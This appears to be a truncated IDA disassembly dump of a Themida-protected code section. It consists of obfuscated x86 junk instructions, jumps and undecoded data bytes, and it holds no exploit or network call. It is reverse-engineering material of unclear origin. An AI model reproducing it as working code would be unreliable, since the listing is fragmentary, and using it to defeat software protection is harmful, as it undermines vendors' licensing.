Themida_:00560164j push 6462h mov [esp], ebp push dword ptr [esp] pop eax push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5664D4 ; --------------------------------------------------------------------------- loc_557365: ; CODE XREF: Themida_:0055B065j add esp, 4 not ebx jmp loc_55B4D8 ; --------------------------------------------------------------------------- dw 0C31h dd 240C3324h, 8F24248Bh, 0B8E92404h, 8100004Ch, 0C804246Ch dd 0FF2D765Ch, 815D2434h, 4C4h, 3414E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55739A: ; CODE XREF: Themida_:00559EACj sub esi, edx jmp loc_566A92 ; --------------------------------------------------------------------------- loc_5573A1: ; CODE XREF: Themida_:0055BB19j xchg esi, [esp] pop esp mov [esp], eax push 0A044E45h pop eax sub eax, 68422F9Eh neg eax jmp loc_55983C ; --------------------------------------------------------------------------- loc_5573BA: ; CODE XREF: Themida_:005682D7j sub esp, 4 mov [esp], ebx mov bl, 35h jmp loc_561A5D ; --------------------------------------------------------------------------- aOsvx db 'OИV∙',0 align 10h dd 2124248Bh, 0E99C2404h, 0FFFFB7DFh, 4BBh, 0E9D82900h dd 0FFFFEACAh, 73BD5552h, 17ECE49h, 0E904246Ch, 58EBh ; --------------------------------------------------------------------------- loc_5573F8: ; CODE XREF: Themida_:00561EE6j pop eax dec esi shr esi, 7 inc esi not esi jmp loc_559E3B ; --------------------------------------------------------------------------- aZsG db 'ZИшg',0 dw 6800h dd 7F836B86h, 3E2C15Ah, 0E2D1DAF7h, 6806EAC1h, 196Eh, 0E9243C89h dd 0F308h ; --------------------------------------------------------------------------- loc_557428: ; CODE XREF: Themida_:00567666j add esp, 4 pop dword ptr [esp] pop esp push 449h jmp loc_55BC2A ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 81000000h, 4C3h, 241C8700h, 2236E9h db 0 ; --------------------------------------------------------------------------- loc_55744D: ; CODE XREF: Themida_:0055E0FCj mov [esp], ebx push ecx sub esp, 4 mov [esp], esi mov esi, 71684D30h jmp loc_55DF36 ; --------------------------------------------------------------------------- dd 1E10C781h, 0C7817F74h, 68D00157h, 0AAADE95Eh, 148B0000h dd 9EDAE924h, 815A0000h, 4C2h, 4C28100h, 33000000h, 14312414h dd 49FCE924h, 0C4830000h, 4EC8104h, 89000000h, 74FF2414h dd 40E90424h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5574AB: ; CODE XREF: Themida_:00567B17j xchg ebx, [esp] jmp loc_561413 ; --------------------------------------------------------------------------- db 66h dd 2414F650h, 0D0F65866h, 8850E9h db 0 ; --------------------------------------------------------------------------- loc_5574C1: ; CODE XREF: Themida_:00556427j sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 push edi mov edi, 4 sub ebx, edi jmp loc_553AD4 ; --------------------------------------------------------------------------- loc_5574DC: ; CODE XREF: Themida_:00560DB9j xchg ebx, [esp] pop esp jmp loc_5538D8 ; --------------------------------------------------------------------------- align 2 dw 80CFh dd 8859F5C7h, 0EC835BFEh, 0C896602h, 2C31B524h, 0E9E82877h dd 7AA6h, 0CE80CEFEh, 80DEF64Bh, 0AEE9E2C6h db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55750F: ; CODE XREF: Themida_:0056507Dj add edx, edi mov edi, [esp] jmp loc_55E13D ; --------------------------------------------------------------------------- aH?d_zbYogjSa db 'h=?D.Z│йyogjяЙИМт',0 align 4 dd 5E08950h, 4, 8704C083h, 555C2404h, 242C8B54h, 0E904C483h dd 1052Ch ; --------------------------------------------------------------------------- loc_557548: ; CODE XREF: Themida_:00558AC5j pop edi push ecx jmp loc_565D10 ; --------------------------------------------------------------------------- db 0BDh dd 534C0859h, 4503E5C1h, 33E9D5F7h, 81000057h, 0D06E7AEBh dd 68515547h, 3F377BC7h, 0B197E959h db 2 dup(0) word_557572 dw 77FFh ; DATA XREF: Themida_:00552920o dd 58669D1Ch, 24041966h, 32DFE99Ch, 55570000h, 1F0BBB53h dd 6FE91472h, 5E0000E9h, 0DA5BEF81h, 0F801F7D7h, 3DE9535Fh dd 89FFFFFEh, 2C872434h, 87D5F724h, 348B242Ch, 4C48124h dd 0E9000000h, 0F51Bh, 73D4CF81h, 0EF812B60h, 3E5825A4h dd 728ECF81h, 0E95031DEh, 22A9h, 0A28FE95Ah, 31590000h dd 0CA875FFAh, 8322E9h, 4C48300h, 34FFC301h, 0C4835824h dd 0FFDD0104h, 835B2434h, 2C8704C4h, 0F665C24h, 5E68C8B6h dd 8900004Fh, 0E9542434h, 0EF24h, 3325AEB8h, 58C78901h dd 815FFE31h, 665EF0C6h, 3D39E951h, 8B660000h, 0C481240Ch dd 2, 5166D800h, 0E8284EB5h, 2E95966h, 0F7FFFFF4h, 31D987D3h dd 0BA8EE9CDh, 248BFFFFh, 48B6624h, 4F116824h, 34890000h dd 52E68924h, 0F574E954h, 0E789FFFFh, 87CAE9h, 2434FF00h dd 8B2434FFh, 8956240Ch, 4C681E6h, 83000000h, 348704C6h dd 0C4815C24h, 4, 2D4A68h, 240C8900h, 181868h, 24248900h dd 4BF57h, 7C010000h, 8B5F0424h, 0C481240Ch, 4, 7BDA68h dd 241C8900h, 2C5FD9BBh, 41F3813Dh, 0E917507Ah, 0F25Dh ; --------------------------------------------------------------------------- loc_5576C0: ; CODE XREF: Themida_:0055A5BEj neg edi neg edi jmp loc_55FEBB ; --------------------------------------------------------------------------- loc_5576C9: ; CODE XREF: Themida_:00556825j mov [esp], ax dec byte ptr [esp] pop ax xor al, 17h add bl, al jmp loc_5636B5 ; --------------------------------------------------------------------------- loc_5576DB: ; CODE XREF: Themida_:005566E3j add esi, 4 jmp loc_5551F9 ; --------------------------------------------------------------------------- loc_5576E3: ; CODE XREF: Themida_:00559E93j push esi mov esi, esp add esi, 4 jmp loc_556F3F ; --------------------------------------------------------------------------- aXh db 'Xhц=',0 dw 8900h dd 7CBD242Ch, 8119E00Fh, 0C076F5CDh, 42EAE952h db 2 dup(0) word_55770A dw 51ADh ; DATA XREF: Themida_:00552A64o dd 113346B9h, 69E94156h, 57FFFFB9h, 102B3E9h db 0 ; --------------------------------------------------------------------------- loc_55771D: ; CODE XREF: Themida_:005589E6j mov ebx, 520E4F4Fh jmp loc_556171 ; --------------------------------------------------------------------------- byte_557727 db 66h ; DATA XREF: Themida_:00552A88o dd 0E9240C8Bh, 3C1Dh ; --------------------------------------------------------------------------- loc_557730: ; CODE XREF: Themida_:00565B0Dj push 5C5D16ABh pop ebp push edi jmp loc_55C341 ; --------------------------------------------------------------------------- dd 5604C483h, 4BEh, 5EF10100h, 0E88E9h db 0 ; --------------------------------------------------------------------------- loc_55774D: ; CODE XREF: Themida_:00565B8Ej mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_564208 ; --------------------------------------------------------------------------- loc_55775D: ; CODE XREF: Themida_:00567629j xor edx, esi mov esi, [esp] add esp, 4 jmp loc_556F4A ; --------------------------------------------------------------------------- aSiusZ db 'S┴ЦИ,┤',0 db 0 ; --------------------------------------------------------------------------- loc_557775: ; CODE XREF: Themida_:0056460Bj push ebx mov ebx, 7D121B31h mov edi, 444D6A5Ah jmp loc_561793 ; --------------------------------------------------------------------------- loc_557785: ; CODE XREF: Themida_:005609F1j sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi jmp loc_555DEF ; --------------------------------------------------------------------------- aXs db 'XИ%ъ',0 align 2 aHs db 'hS;',0 ; DATA XREF: Themida_:00552B1Co dw 0E900h dd 0FFFFBC64h, 0B859CA89h, 3FEA3DE5h, 0C4E9D031h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5577B3: ; CODE XREF: Themida_:0056687Dj push ebx push esi jmp loc_5597B5 ; --------------------------------------------------------------------------- dw 0EC83h dd 243C8904h, 0D0321FBFh, 246C817Dh, 32484208h, 247C2956h dd 24448108h, 32484208h, 9BAAE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5577DE: ; CODE XREF: Themida_:00562A83j sub eax, ebp pop ebp jmp loc_565810 ; --------------------------------------------------------------------------- dw 0FBDh dd 0BF60277Ah, 0E95E4B1h, 2C8BEF01h, 4C48124h, 89000000h dd 0E9565FFAh, 7994h, 0BA241489h, 907B3Dh, 1169BD55h, 0EA810267h dd 71D41630h, 0C281EA29h, 71D41630h, 87CA875Dh, 87D7F7F9h dd 639268F9h, 14890000h, 595A5124h, 6308BE56h, 0F22168E7h dd 0BF25E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557842: ; CODE XREF: Themida_:0056063Bj pop esp mov [esp], edx push ebp jmp loc_56362D ; --------------------------------------------------------------------------- a_skx db '_ИKX',0 align 2 loc_557852: ; CODE XREF: Themida_:005554EDj mov edx, [esp] add esp, 4 add esp, 4 add esp, 4 shr eax, 8 xor eax, ecx push edx mov edx, esp jmp loc_5664F3 ; --------------------------------------------------------------------------- dw 0CB68h dd 89000028h, 0F3E9243Ch, 55000006h, 0E5442B68h, 6D6EE96Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_557886: ; CODE XREF: Themida_:00563F28j mov [esp], edi jmp loc_5610A3 ; --------------------------------------------------------------------------- aSr db ')йИrъ',0 dd 24548600h, 14F65201h, 54865A24h, 48B0124h, 4C48124h dd 83000000h, 896602ECh, 22B1240Ch, 5966CC30h, 88E38853h dd 395BE9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5578C2: ; CODE XREF: Themida_:0055F682j mov edx, 49D60FBAh and edx, 66E737CCh or edx, 4B7F02ADh push esi mov esi, 0FD91D4C4h sub edx, esi pop esi sub edi, edx mov edx, [esp] add esp, 4 neg edi xor edi, 6CB7F3F8h xor eax, edi pop edi sub eax, 0F9D6CC74h and ecx, eax push dword ptr [esp] pop eax add esp, 4 shr ecx, 7 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx push 5E5Ch mov [esp], ebx pop edx push edi mov edi, esp add edi, 4 push eax mov eax, 751220DCh push edx mov edx, 438D614Ah and edx, 5E5622B5h not edx jmp loc_55EAB0 ; --------------------------------------------------------------------------- db 81h dd 0D66664EAh, 53CA014Bh, 0EE6EC9BBh, 0E9D3F738h, 8C8Bh dd 0E904C483h, 0FFFFB25Fh, 0E95EF501h, 584Bh, 4C481h, 29660000h dd 1656E9E8h, 0E7810000h, 92D00EDh, 0E0E95150h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55797F: ; CODE XREF: Themida_:00560F18j push eax mov eax, 449F5AF0h jmp loc_55F844 ; --------------------------------------------------------------------------- loc_55798A: ; CODE XREF: Themida_:005647BEj sub esp, 4 jmp loc_55A6C4 ; --------------------------------------------------------------------------- loc_557992: ; CODE XREF: Themida_:005548B8j mov edx, 27A16F28h xor edx, 3E057BD7h jmp loc_5652FF ; --------------------------------------------------------------------------- word_5579A2 dw 28Fh ; DATA XREF: Themida_:00552980o dd 0A583E9h, 0C6C68100h, 1265F4Bh, 0C6EE81FEh, 5F265F4Bh dd 3304C683h, 38E92434h db 0E6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5579C3: ; CODE XREF: Themida_:0055857Cj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push esi mov esi, 972074Dh sub esi, 67DE0B5Dh and esi, 3D81450Ah not esi add esi, 0C552EAB2h mov edi, esi pop esi push eax jmp loc_5590AF ; --------------------------------------------------------------------------- loc_5579F6: ; CODE XREF: Themida_:005592E9j sub esp, 4 mov [esp], esp jmp loc_55D808 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 2C381h, 1C330000h, 241C3124h, 5C241C33h, 93CCE9h db 0 ; --------------------------------------------------------------------------- loc_557A19: ; CODE XREF: Themida_:00560112j push eax jmp loc_55AA7A ; --------------------------------------------------------------------------- byte_557A1F db 66h ; DATA XREF: Themida_:00552A00o dd 68240C8Bh, 3C96h, 83243489h, 0E86804ECh, 89000004h dd 4812424h, 424h, 24048F00h, 4240481h, 8B000000h, 54532434h dd 1F23E95Bh, 0BE0D0000h, 3507DC70h, 3CDBED62h, 495D68h dd 24148900h, 0E456E951h, 0EC810000h, 4, 0E9241C89h, 0C645h dd 0BE56E089h, 4, 0EB7C012Dh, 5F0014Ch, 4CEB7C01h, 68E9555Eh dd 33FFFFD4h, 0C31240Ch, 240C3324h, 240CFF5Ch, 0B115E99Ch dd 420FFFFh, 0CE99C24h, 5AFFFFB1h, 4BB53h, 0DA010000h dd 83BD555Bh, 0E9089C4Eh, 2D68h ; --------------------------------------------------------------------------- loc_557AC4: ; CODE XREF: Themida_:0055B724j push edi mov edi, esp add edi, 4 jmp loc_55B072 ; --------------------------------------------------------------------------- dw 8145h dd 823218F5h, 9452E917h, 8FB60000h, 7695E9h db 0 ; --------------------------------------------------------------------------- loc_557AE5: ; CODE XREF: Themida_:00561A65j dec ch sub esp, 4 jmp loc_56780A ; --------------------------------------------------------------------------- loc_557AEF: ; CODE XREF: Themida_:00559251j pop ebp xchg eax, [esp] mov esp, [esp] mov [esp], ecx jmp loc_553BD5 ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFFFE60h ; --------------------------------------------------------------------------- loc_557B04: ; CODE XREF: Themida_:005660ACj pop edx jmp loc_55662C ; --------------------------------------------------------------------------- dw 4566h dd 2DED6866h, 1A4DE9h db 0 ; --------------------------------------------------------------------------- loc_557B15: ; CODE XREF: Themida_:005640EDj and eax, esi mov esi, [esp] push ebp jmp loc_5640D2 ; --------------------------------------------------------------------------- loc_557B20: ; CODE XREF: Themida_:0055AFE4j dec ebp shl ebp, 2 shl ebp, 5 neg ebp or ebp, 21AA5585h sub esp, 4 mov [esp], ecx mov ecx, 25E97D86h jmp loc_565B12 ; --------------------------------------------------------------------------- db 0FFh a4Ritshe db '4$]R┴БИHE',0 dw 8300h dd 148904ECh, 4BA24h, 0B9510000h, 1DEE7EDFh, 0FFFFE981h dd 44E9FFFFh db 0D3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557B67: ; CODE XREF: Themida_:005680BCj sub al, cl add al, 8Dh push ecx mov cl, 0A1h add al, cl pop ecx add al, 8Dh mov ecx, [esp] add esp, 4 sub al, 2Eh jmp loc_55DE3A ; --------------------------------------------------------------------------- loc_557B83: ; CODE XREF: Themida_:00563C7Aj mov eax, [esp] add esp, 4 jmp loc_555C1D ; --------------------------------------------------------------------------- dw 4BEh dd 0E9000000h, 0FFFFD818h, 84E9CF01h, 0FF00004Bh, 81592434h dd 4C4h, 63C78100h, 1109D05h, 63BE56EFh, 55109D05h, 0BF3E9h dd 0E6895600h, 0A663E9h, 0E9E92900h, 8FCBh dword_557BCC dd 24048B66h, 74A268h, 240C8900h, 0EC67E9h ; DATA XREF: Themida_:00552A90o db 0 ; --------------------------------------------------------------------------- loc_557BDD: ; CODE XREF: Themida_:00561468j mov eax, ebp mov ebp, [esp] add esp, 4 sub edi, 70251F65h add edi, eax jmp loc_568245 ; --------------------------------------------------------------------------- loc_557BF5: ; CODE XREF: Themida_:00553399j add esp, 4 push ecx mov ch, 7Bh jmp loc_556130 ; --------------------------------------------------------------------------- loc_557C00: ; CODE XREF: Themida_:0055B47Dj sub [edi+24h], edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 loc_557C12: ; CODE XREF: Themida_:0055E630j push edi push ebx push ecx mov ecx, 12C409C4h jmp loc_561445 ; --------------------------------------------------------------------------- loc_557C1F: ; CODE XREF: Themida_:00560354j pop esi add ecx, eax pop eax add ecx, 4 xchg ecx, [esp] pop esp pop bx push ebx mov bh, 17h shl bh, 5 and bh, 0FBh xor bh, 0E1h jmp loc_55EE29 ; --------------------------------------------------------------------------- loc_557C40: ; CODE XREF: Themida_:0055C055j push edx mov edx, 79BF376Dh sub edx, 4590087Eh shr edx, 2 sub edx, 0AB5AA80Eh xor edi, edx pop edx dec edi jmp loc_5571F2 ; --------------------------------------------------------------------------- loc_557C5E: ; CODE XREF: Themida_:00565311j sub edi, edx jmp loc_5659AF ; --------------------------------------------------------------------------- db 0BDh, 0Ah, 77h dd 0C531108Ch, 0FFEA0158h, 815D2434h, 4C4h, 6B4B6800h dd 0C890000h, 4E48B924h, 0E98119E5h, 4126212Fh, 761CE9h db 0 ; --------------------------------------------------------------------------- loc_557C91: ; CODE XREF: Themida_:00563931j neg eax push esi mov esi, 5CD8BC5Eh sub eax, esi mov esi, [esp] add esp, 4 add ebp, eax pop eax push ecx mov ecx, 4 add ebp, ecx pop ecx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_55E62E ; --------------------------------------------------------------------------- db 5Ah dd 6658E500h, 664C0368h, 0B0240489h, 0B6B8E972h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557CD2: ; CODE XREF: Themida_:005658ADj sub edx, 42A662ACh and edx, 51EF6EC4h jmp loc_5585C7 ; --------------------------------------------------------------------------- loc_557CE3: ; CODE XREF: Themida_:0055E0C9j add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_55C48F ; --------------------------------------------------------------------------- loc_557CF7: ; CODE XREF: Themida_:00563EA6j not ebx push ebp push ebx pop ebp pop ebx sub ebp, 0FFFFFFFFh push edx mov edx, 283A008Fh not edx xor edx, 2AE21446h dec edx and edx, 268B3FE4h shl edx, 7 sub edx, 2801BDF2h sub ebp, edx pop edx and eax, ebp push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 push ebx mov ebx, esp push esi mov esi, 4 add ebx, esi jmp loc_566658 ; --------------------------------------------------------------------------- dd 50241C8Bh, 0E952E089h, 3C45h dword_557D4C dd 9D1C77FFh, 14D25966h, 60E99C24h ; DATA XREF: Themida_:005529DCo db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557D5B: ; CODE XREF: Themida_:00559ABAj push 4F22h mov [esp], edx push 638Ah mov [esp], ecx jmp loc_55FB9A ; --------------------------------------------------------------------------- loc_557D70: ; CODE XREF: Themida_:0055C4E2j mov [ebx], eax pop ebx pop eax push esi mov esi, esp add esi, 4 jmp loc_566CAD ; --------------------------------------------------------------------------- loc_557D82: ; CODE XREF: Themida_:0055D735j pop ebp jmp loc_5670CB ; --------------------------------------------------------------------------- dd 65C18058h, 803FB252h, 0C1803EEAh, 0E9D1281Dh, 0D999h dd 815EF031h, 4ECh, 24048900h, 4C73BF57h, 7C31376Ch, 21E90424h dd 2900004Eh, 5F0C247Ch, 8247401h, 8244481h, 2E7F7E0Fh dd 61CCE9h, 24048900h, 444250B8h, 380E0D51h, 0BF5727C8h dd 48F526FFh, 0E14CE9h, 7395BA00h, 0E2817581h, 55C17FFCh dd 7E2C142h, 33E0F281h, 0C2817E6Fh, 42BF3778h, 148BD129h dd 4C48324h, 1DB8C181h, 0CF01EF72h, 74FF5759h, 3C8B0424h dd 4C48124h, 8F000000h, 295C2404h, 0E3A9E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E2A: ; CODE XREF: Themida_:0055A1D5j mov ebx, ecx pop ecx add [esp+8], ebx pop ebx mov eax, [esp] jmp loc_553229 ; --------------------------------------------------------------------------- loc_557E3A: ; CODE XREF: Themida_:0055EE54j add edx, 4 jmp loc_55AAFF ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 4B95100h, 1000000h, 1C8759CBh, 59E95C24h, 0BA000053h dd 0D4266F3h, 7586F281h, 0E281512Bh, 643412FBh, 6C1EA81h dd 0C28105ADh, 1, 33F28142h, 0E9610400h, 0F8F8h, 405h dd 20500h, 4870000h, 0EC815C24h, 4, 0FFC05DE9h db 0FFh ; --------------------------------------------------------------------------- loc_557EA1: ; CODE XREF: Themida_:005615A2j add eax, ecx jmp loc_554D8D ; --------------------------------------------------------------------------- loc_557EA8: ; CODE XREF: Themida_:00558449j push dword ptr [esp] pop edx jmp loc_55F4DE ; --------------------------------------------------------------------------- byte_557EB1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552AFCo dd 0E9545024h, 0F3F9h, 0E92434FFh, 0FFFFC1EBh, 0FFACF2E9h db 0FFh ; --------------------------------------------------------------------------- loc_557EC9: ; CODE XREF: Themida_:0055F6F5j shl ecx, 4 not ecx push eax jmp loc_557FEB ; --------------------------------------------------------------------------- dd 33241C31h, 26E9241Ch db 9Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_557EDF: ; CODE XREF: Themida_:005616C5j add edx, 0FFEEDF18h push edx pop ebx pop edx push ebp mov ebp, 22AB700Bh sub ebp, 7BF8260Dh shr ebp, 8 sub ebp, 0B349AF9Bh jmp loc_55C353 ; --------------------------------------------------------------------------- dw 0B551h dd 3EC58072h, 0C580D5F6h, 0AD1BE940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557F12: ; CODE XREF: Themida_:00560752j shl ebx, 3 jmp loc_5655B1 ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFFF89Ah ; --------------------------------------------------------------------------- loc_557F20: ; CODE XREF: Themida_:00555241j pop edx and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 push edx mov edx, esp sub esp, 4 mov [esp], ebp push edi mov edi, 735B1C48h or edi, 32B43A1Fh jmp loc_55AE22 ; --------------------------------------------------------------------------- db 89h, 4, 24h aSR db '╟,ИгЮ',0 db 0 ; --------------------------------------------------------------------------- loc_557F53: ; CODE XREF: Themida_:0055A71Cj push 7B93h jmp loc_559627 ; --------------------------------------------------------------------------- loc_557F5D: ; CODE XREF: Themida_:0055BDA3j mov eax, [esp] push 1235h mov [esp], ecx push esp jmp loc_56136E ; --------------------------------------------------------------------------- dw 5F54h dd 4C781h, 0C7810000h, 4, 31243C33h, 77E9243Ch, 68000098h dd 71C0h, 68240489h, 678h, 83242489h, 58042404h, 7F61E9h dd 69CF6800h, 0C890000h, 48A0B924h, 91E947D9h, 100007Fh dd 68575BD8h, 4, 4374E95Fh, 0F660000h, 9C2404ABh, 58CDE9h dd 0DF295E00h, 0AC7E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_557FD6: ; CODE XREF: Themida_:00559C5Dj push ebp sub esp, 4 jmp loc_55F4F0 ; --------------------------------------------------------------------------- db 59h dd 1BD55h, 7FE90000h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557FEB: ; CODE XREF: Themida_:00557ECFj mov eax, 6E15F1h xor ecx, eax pop eax add ecx, 0E4DE7756h jmp loc_553258 ; --------------------------------------------------------------------------- loc_557FFE: ; CODE XREF: Themida_:005616FCj mov edx, ebx mov [edi+20h], edx pop edx jmp loc_5680CF ; --------------------------------------------------------------------------- aFbxFbIosrs db 'f│Е╬[f│е┬oИrХ',0 align 4 dd 0BA52E589h, 325C04E0h, 3E9D2F7h, 890000F9h, 74B7241Ch dd 9DE9FD88h db 0E2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558033: ; CODE XREF: Themida_:00561F33j xor esi, 35DA76AFh push ebx jmp loc_555676 ; --------------------------------------------------------------------------- db 81h dd 2C4h, 0E9C60800h, 0C870h, 3D63ED81h, 0F5811744h, 62097662h dd 491FE9h, 50D70100h, 0FFEDB0E9h, 300BDFFh, 6C2924C1h dd 0DFE90824h, 56000058h, 42746855h, 0E95D67B8h, 0FFFFFFCCh dd 571768h, 0B97CE900h, 29B80000h, 487B4162h, 508E0C1h dd 13BE4017h, 158C701h, 2F08E9C7h db 2 dup(0) word_5580A2 dw 0C8Bh ; DATA XREF: Themida_:00552A50o dd 4EC8324h, 0E9241C89h, 6A36h, 6042F381h, 0D3010432h dd 8B5B0303h, 69E92414h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5580C3: ; CODE XREF: Themida_:00556F45j xchg esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], eax jmp loc_565693 ; --------------------------------------------------------------------------- loc_5580E0: ; CODE XREF: Themida_:0055EAC0j pop esp add ecx, 4 push ebp jmp loc_55AFC2 ; --------------------------------------------------------------------------- db 1, 0F2h, 5Eh dd 31241433h, 14332414h, 649EE924h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_56282F ; --------------------------------------------------------------------------- dd 8C7BC0B8h, 0F217054Bh, 0C5290FB0h, 5DEB8958h, 9FB85057h dd 2D6F6C39h, 7A9D7C41h, 0BD55D0F7h, 234462D7h, 1952ED81h dd 0C14564A7h, 814505E5h, 1EDB3F5h, 8BE801EAh, 0C481242Ch dd 4, 675E9805h, 58C789C8h, 60C0E9h, 1C470900h, 8B2434FFh dd 0C4832404h, 0DFE95504h db 0BDh, 2 dup(0) aNwhu db '╜WhН',8,0 ; DATA XREF: Themida_:00552A38o align 2 aS_7 db 'И',0Ah db '/',0 dw 8B00h dd 43E92424h, 5DFFFFF0h, 45E9EA31h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558187: ; CODE XREF: Themida_:00558693j mov [esp], eax mov eax, 529309DEh shl eax, 3 neg eax push ebx jmp loc_55B66F ; --------------------------------------------------------------------------- word_55819A dw 1968h ; DATA XREF: Themida_:00552B58o dd 89000008h, 74FF240Ch, 34FF0424h, 240C8B24h, 6971E9h db 0 byte_5581B1 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005529FCo dd 8B2434FFh, 89562404h, 30E953E6h, 1FFFFBFh, 240C8BCAh dd 4C481h, 0BB530000h, 7BE72B57h, 0B571EB81h, 0E3C125A8h dd 52E38104h, 430EBE06h, 5EF8F381h, 0F6E9095Ah, 500000Eh dd 664C1E7Bh, 0CF04E9h db 0 ; --------------------------------------------------------------------------- loc_5581F9: ; CODE XREF: Themida_:0055F05Ej not edx inc edx sub edx, 8439B464h sub ebx, edx pop edx pop edi sub esp, 4 mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_5561FF ; --------------------------------------------------------------------------- dw 0EC83h dd 24348904h, 24348B54h, 4C481h, 0C6810000h, 4, 0FFF916E9h dd 2434FFFFh, 8324348Bh, 0E95504C4h, 8148h ; --------------------------------------------------------------------------- loc_558244: ; CODE XREF: Themida_:00564305j mov edi, 79EA3D34h not edi jmp loc_554A2F ; --------------------------------------------------------------------------- dd 0F787D7F7h, 548AE9h, 36BA5200h, 8119F418h, 216E37E2h dd 3C31E939h, 4CE90000h, 81FFFFA9h, 9D3404F3h, 0FD39E979h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55827A: ; CODE XREF: Themida_:005568B4j pop esp sub esp, 4 jmp loc_55A407 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812414h, 4, 3C2EE9h, 0A925E900h, 0FF5AFFFFh, 685A2434h dd 586Dh, 6D93E9h, 0C3815B00h, 7C47C13h, 0E489E9h db 0 ; --------------------------------------------------------------------------- loc_5582B1: ; CODE XREF: Themida_:0055AEBFj or eax, eax jz loc_562FC9 push ebp push esp jmp loc_561D0B ; --------------------------------------------------------------------------- dd 6FC055Eh, 2CE92B97h, 0B8FFFFDEh, 1E027BF9h, 4244481h dd 2BD07B90h, 0C8B5E9h db 0 ; --------------------------------------------------------------------------- loc_5582DD: ; CODE XREF: Themida_:0056466Dj push esi push ecx mov ecx, 4 mov esi, ecx pop ecx jmp loc_5558D7 ; --------------------------------------------------------------------------- loc_5582EC: ; CODE XREF: Themida_:00560947j mov eax, 5F5C2BF8h add eax, 8243523h jmp loc_555F6A ; --------------------------------------------------------------------------- db 31h dd 2434FFFAh, 0E189515Fh, 46856h, 15E0000h, 0C1835EF1h dd 74FF5104h, 8F590424h, 815C2404h, 2A1AC8EBh, 81D30157h dd 2A1AC8C3h, 24148B57h, 4C481h, 1C330000h, 241C3124h dd 8B241C33h, 34FF2424h, 24048B24h, 4C481h, 81530000h dd 4ECh, 35E95400h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558357: ; CODE XREF: Themida_:005610A9j mov edi, 5F3F3561h xor edi, esi pop esi and edi, 6FF002C8h sub esp, 4 mov [esp], edx push 9FEBFA10h pop edx sub edi, edx pop edx jmp loc_553F08 ; --------------------------------------------------------------------------- loc_558379: ; CODE XREF: Themida_:00555E43j mov edx, [esp] add esp, 4 jmp loc_5542BE ; --------------------------------------------------------------------------- dd 4BA52h, 0D6890000h, 0FFF23FE9h, 53DAF7FFh, 442B32BBh dd 0A2E94B3Bh db 0E5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55839F: ; CODE XREF: Themida_:005531C3j mov esi, 24A12E4Ah sub esi, 0B450E3AEh mov edi, esi pop esi xor edi, 4DFA65A0h sub edi, 50502D65h sub edi, 0A032B503h sub ebx, edi pop edi sub ebx, 0B884FF8h add ebx, 2076D4Fh sub ebx, eax sub ebx, 2076D4Fh jmp loc_55850A ; --------------------------------------------------------------------------- byte_5583DB db 66h ; DATA XREF: Themida_:0055296Co dd 6824048Bh, 667Ch, 68241489h, 5DC8h, 83242489h, 0FF042404h dd 0E95A2434h, 70D4h, 775AF581h, 0ED814DCBh, 0D942E5E5h dd 0E95DE801h, 1039h ; --------------------------------------------------------------------------- loc_558410: ; CODE XREF: Themida_:0055AA8Cj mov ebx, esp add ebx, 4 push eax mov eax, 4 jmp loc_567B14 ; --------------------------------------------------------------------------- db 89h dd 0BB532424h, 4, 4244481h, 0CBE4D3Dh, 4245C01h, 4246C81h dd 0CBE4D3Dh, 3B7EE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558446: ; CODE XREF: Themida_:0055AD2Dj pop eax add esi, edx jmp loc_557EA8 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 0E9000000h, 3C61h, 83240C8Bh, 0F72C04C4h dd 0B652D028h, 0BCCE8081h, 8008EEC0h, 0EE80A7E6h, 6EEC007h dd 0F4B15166h, 5966CE00h, 148BF000h, 